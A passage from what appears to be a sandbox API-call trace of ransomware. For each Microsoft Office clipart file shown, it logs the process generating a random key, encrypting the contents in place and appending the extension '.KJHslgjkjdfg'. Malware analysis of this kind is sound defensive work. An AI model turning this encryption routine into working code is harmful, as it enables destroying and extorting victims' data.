nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4a7c, lpOverlapped=0x0) returned 1 [0158.932] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a80) returned 1 [0158.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.933] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4a80, lpOverlapped=0x0) returned 1 [0158.933] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.933] SetEndOfFile (hFile=0x114) returned 1 [0158.936] GetProcessHeap () returned 0x2a0000 [0158.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.936] GetProcessHeap () returned 0x2a0000 [0158.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.kjhslgjkjdfg")) returned 1 [0158.937] CloseHandle (hObject=0x114) returned 1 [0158.937] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0158.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.938] GetProcessHeap () returned 0x2a0000 [0158.938] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.938] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.938] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.939] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.939] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.940] GetProcessHeap () returned 0x2a0000 [0158.940] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.940] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.940] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.940] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.940] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.940] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x244, lpOverlapped=0x0) returned 1 [0158.940] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x250, dwBufLen=0x250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x250) returned 1 [0158.940] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.940] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x250, lpOverlapped=0x0) returned 1 [0158.941] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.941] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.941] SetEndOfFile (hFile=0x114) returned 1 [0158.943] GetProcessHeap () returned 0x2a0000 [0158.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.943] GetProcessHeap () returned 0x2a0000 [0158.943] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.kjhslgjkjdfg")) returned 1 [0158.944] CloseHandle (hObject=0x114) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0158.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.945] GetProcessHeap () returned 0x2a0000 [0158.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.945] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.945] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.947] GetProcessHeap () returned 0x2a0000 [0158.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.947] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.947] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.947] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.948] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x128, lpOverlapped=0x0) returned 1 [0158.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x130, dwBufLen=0x130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x130) returned 1 [0158.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.948] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x130, lpOverlapped=0x0) returned 1 [0158.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.948] SetEndOfFile (hFile=0x114) returned 1 [0158.950] GetProcessHeap () returned 0x2a0000 [0158.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.950] GetProcessHeap () returned 0x2a0000 [0158.950] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.kjhslgjkjdfg")) returned 1 [0158.951] CloseHandle (hObject=0x114) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0158.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.952] GetProcessHeap () returned 0x2a0000 [0158.952] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.952] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.952] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.952] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.954] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.954] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.954] GetProcessHeap () returned 0x2a0000 [0158.954] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.954] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.954] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.954] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.954] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.954] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.954] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.954] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.955] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.955] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.955] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x228, lpOverlapped=0x0) returned 1 [0158.955] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x230) returned 1 [0158.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.955] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x230, lpOverlapped=0x0) returned 1 [0158.955] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.955] SetEndOfFile (hFile=0x114) returned 1 [0158.958] GetProcessHeap () returned 0x2a0000 [0158.958] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.958] GetProcessHeap () returned 0x2a0000 [0158.958] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.kjhslgjkjdfg")) returned 1 [0158.959] CloseHandle (hObject=0x114) returned 1 [0158.959] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0158.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.960] GetProcessHeap () returned 0x2a0000 [0158.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.960] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.960] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.963] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.963] GetProcessHeap () returned 0x2a0000 [0158.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.963] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.963] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.963] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.963] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.963] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.964] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.964] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.964] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.964] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.964] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1034, lpOverlapped=0x0) returned 1 [0158.965] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040, dwBufLen=0x1040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040) returned 1 [0158.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.965] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1040, lpOverlapped=0x0) returned 1 [0158.966] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.966] SetEndOfFile (hFile=0x114) returned 1 [0158.968] GetProcessHeap () returned 0x2a0000 [0158.968] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.968] GetProcessHeap () returned 0x2a0000 [0158.968] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 